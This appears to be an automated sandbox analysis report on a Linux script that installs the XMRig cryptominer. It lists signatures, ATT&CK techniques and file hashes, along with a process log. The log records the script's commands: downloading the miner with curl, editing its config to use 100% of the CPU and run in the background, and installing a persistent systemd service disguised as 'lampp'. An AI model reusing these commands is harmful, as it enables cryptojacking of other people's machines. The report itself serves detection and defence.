Analysis

  • max time kernel
    6s
  • max time network
    1032s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 11:26

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1404
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1407
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1408
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1411
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1412
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
            • Reads runtime system information
            PID:1453
          • /usr/bin/tar
            tar xf /tmp/xmrig.tar.gz -C /root/lampp
            2⤵
              PID:1454
              • /usr/local/sbin/gzip
                gzip -d
                3⤵
                  PID:1455
                • /usr/local/bin/gzip
                  gzip -d
                  3⤵
                    PID:1455
                  • /usr/sbin/gzip
                    gzip -d
                    3⤵
                      PID:1455
                    • /usr/bin/gzip
                      gzip -d
                      3⤵
                        PID:1455
                    • /usr/bin/rm
                      2⤵
                        PID:1456
                      • /usr/bin/sed
                        2⤵
                          PID:1457
                        • /root/lampp/xmrig
                          2⤵
                          • Executes dropped EXE
                          • Checks hardware identifiers (DMI)
                          • Reads hardware information
                          • Checks CPU configuration
                          • Reads CPU attributes
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:1458
                        • /usr/bin/sed
                          2⤵
                            PID:1463
                          • /usr/bin/cut
                            2⤵
                              PID:1462
                            • /usr/bin/hostname
                              2⤵
                                PID:1461
                              • /usr/bin/sed
                                2⤵
                                  PID:1464
                                • /usr/bin/sed
                                  2⤵
                                  • Reads runtime system information
                                  PID:1465
                                • /usr/bin/sed
                                  sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2004-amd64-20240508-en-11\",/" /root/lampp/config.json
                                  2⤵
                                    PID:1466
                                  • /usr/bin/sed
                                    sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                    2⤵
                                      PID:1467
                                    • /usr/bin/sed
                                      sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                      2⤵
                                        PID:1468
                                      • /usr/bin/sed
                                        sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                        2⤵
                                          PID:1469
                                        • /usr/bin/sed
                                          sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                          2⤵
                                            PID:1470
                                          • /usr/bin/cp
                                            cp /root/lampp/config.json /root/lampp/config_background.json
                                            2⤵
                                              PID:1471
                                            • /usr/bin/sed
                                              sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                              2⤵
                                              • Reads runtime system information
                                              PID:1472
                                            • /usr/bin/cat
                                              cat
                                              2⤵
                                                PID:1473
                                              • /usr/bin/chmod
                                                chmod +x /root/lampp/miner.sh
                                                2⤵
                                                  PID:1474
                                                • /usr/bin/sudo
                                                  sudo -n true
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:1475
                                                  • /usr/bin/true
                                                    true
                                                    3⤵
                                                      PID:1477
                                                  • /usr/bin/awk
                                                    awk "{print \$2}"
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:1480
                                                  • /usr/bin/grep
                                                    grep MemTotal /proc/meminfo
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:1479
                                                  • /usr/bin/cat
                                                    cat
                                                    2⤵
                                                      PID:1481
                                                    • /usr/bin/sudo
                                                      sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1482
                                                      • /usr/bin/mv
                                                        mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                        3⤵
                                                          PID:1483
                                                      • /usr/bin/sudo
                                                        sudo killall xmrig
                                                        2⤵
                                                          PID:1484
                                                          • /usr/bin/killall
                                                            killall xmrig
                                                            3⤵
                                                            • Reads runtime system information
                                                            PID:1485
                                                        • /usr/bin/sudo
                                                          sudo systemctl daemon-reload
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:1486
                                                          • /usr/bin/systemctl
                                                            systemctl daemon-reload
                                                            3⤵
                                                            • Reads EFI boot settings
                                                            • Enumerates kernel/hardware configuration
                                                            • Reads runtime system information
                                                            PID:1487
                                                        • /usr/bin/sudo
                                                          sudo systemctl enable lampp.service
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:1526
                                                          • /usr/bin/systemctl
                                                            systemctl enable lampp.service
                                                            3⤵
                                                            • Reads EFI boot settings
                                                            • Enumerates kernel/hardware configuration
                                                            • Reads runtime system information
                                                            PID:1527
                                                        • /usr/bin/sudo
                                                          sudo systemctl start lampp.service
                                                          2⤵
                                                            PID:1554
                                                            • /usr/bin/systemctl
                                                              systemctl start lampp.service
                                                              3⤵
                                                              • Reads EFI boot settings
                                                              • Enumerates kernel/hardware configuration
                                                              • Reads runtime system information
                                                              PID:1555

                                                        Network

                                                        MITRE ATT&CK Matrix ATT&CK v13

                                                        Defense Evasion

                                                        Virtualization/Sandbox Evasion

                                                        2
                                                        T1497

                                                        Discovery

                                                        Virtualization/Sandbox Evasion

                                                        2
                                                        T1497

                                                        System Information Discovery

                                                        3
                                                        T1082

                                                        Command and Control

                                                        Web Service

                                                        1
                                                        T1102

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • /root/lampp/config.json
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          f3294129e6b76283965ad86a815bf383

                                                          SHA1

                                                          5fe0ab538f86962efe82cb13fc2da745610740af

                                                          SHA256

                                                          578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                          SHA512

                                                          07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                        • /root/lampp/sed0rnVuv
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          5e049d4ebabc96123042c020ee433f71

                                                          SHA1

                                                          d88a16240a1a3e87e111ea651e12a60c552c0bc9

                                                          SHA256

                                                          3672220bf0dba97aec0f3775d55b5300969b21897a73d44b014a4bdf04da3e3e

                                                          SHA512

                                                          58ed04c6e3595928082ba9d3e1041e98c738dbb363e5dd5f2a75d125e4e7f01d4719d89f85a452ef29eac28a77619066bf580c06d2395a610bf52727eb28c524

                                                        • /root/lampp/sedQF8vQj
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          da8715a890450aa2f376cb7b36a90f91

                                                          SHA1

                                                          d5fcbd3aae300d8b35731d704a68e543411bb62f

                                                          SHA256

                                                          92277dbba8334a2c6c540693c768fba428eb2cb06bd38956d80b664691c81b63

                                                          SHA512

                                                          11e59c04ba2cfcaaac3e99de1c148687d632a8e0aebc1f25bfc87d19bb6d98c65fd0e68aab1409d0d402c865933c4f2113653c2b6bc590f234a0370e19215a66

                                                        • /root/lampp/sedd6GFY3
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          2c0df237f04dc70f741d9b68d818a1d6

                                                          SHA1

                                                          c84477b46c2822dbe6add1f6d892b9439b303dcf

                                                          SHA256

                                                          56c3dbd5e24fe1c45a42b766a9fa71326b3e3719c4f0173adb212479cda349f1

                                                          SHA512

                                                          896c0ba7bd2287085256d776f03480796b81dc3e22a7ef460f7cc4b9d29f57f6d9e117c3ae89feeced9a452a9b11f5edb603b77379aad9155a8ef791a193516a

                                                        • /root/lampp/sedjhixsT
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          d489ddbbb83271e967b8af615d17d3c7

                                                          SHA1

                                                          f0394a367a60e9727269882154098dec802774ef

                                                          SHA256

                                                          5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                          SHA512

                                                          aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                        • /root/lampp/sednmMEZY
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          8b11b027dd187104473ee7d661ffe25f

                                                          SHA1

                                                          ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                          SHA256

                                                          984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                          SHA512

                                                          1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                        • /root/lampp/sedrq8lGh
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          0ef475c0744997949d52fa114b27ed4c

                                                          SHA1

                                                          63508c019d49fef2c5884b8642c44d2f74648110

                                                          SHA256

                                                          b1fff4d52bdd89c3a3c71c1ad726631ade3620a90766821312d57c4d955aa104

                                                          SHA512

                                                          75843e32d44fc4361b81d9d5184f6f858b26890ccffd7fd600d6f6957eba3a1d69e964e53caa0bf2b26753162f920c8d9afd367ab9c50ecac9d5d07e741eac9f

                                                        • /root/lampp/xmrig
                                                          Filesize

                                                          8.4MB

                                                          MD5

                                                          6858dfe6f1fa68654e5e4c9e8404ffb1

                                                          SHA1

                                                          bfae905b583d22bf17bbcca2a27f7f4ee0ae6d71

                                                          SHA256

                                                          56a39b41ff1a2b6bc66f08719cceec0b81f5f26d7d52919ebc64c3279a24d0f6

                                                          SHA512

                                                          b6628322d76eac47e9475aa60459c3dc9f030ee19ce3dd4232cc6b93ab015b89481dd219d34e9779bb1e5e3a41704d99049cd3a0af64e710581a1b1e59f4c778

                                                        • /tmp/lampp.service
                                                          Filesize

                                                          177B

                                                          MD5

                                                          540c899b78585827e807a62f7345eaf5

                                                          SHA1

                                                          8bf3146889c6b15811f226bff9fbca24d184eff2

                                                          SHA256

                                                          b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                          SHA512

                                                          0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                        • /tmp/sh-thd.9B0KQA
                                                          Filesize

                                                          253B

                                                          MD5

                                                          f96a321a262287ceae164f23f232ed9c

                                                          SHA1

                                                          d1eeab41f244b42377afd7cc3de7428736162b24

                                                          SHA256

                                                          f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                          SHA512

                                                          75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                        • /tmp/xmrig.tar.gz
                                                          Filesize

                                                          3.4MB

                                                          MD5

                                                          e003a3ec8bdd61151a61cadf950502c4

                                                          SHA1

                                                          2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                          SHA256

                                                          80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                          SHA512

                                                          ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9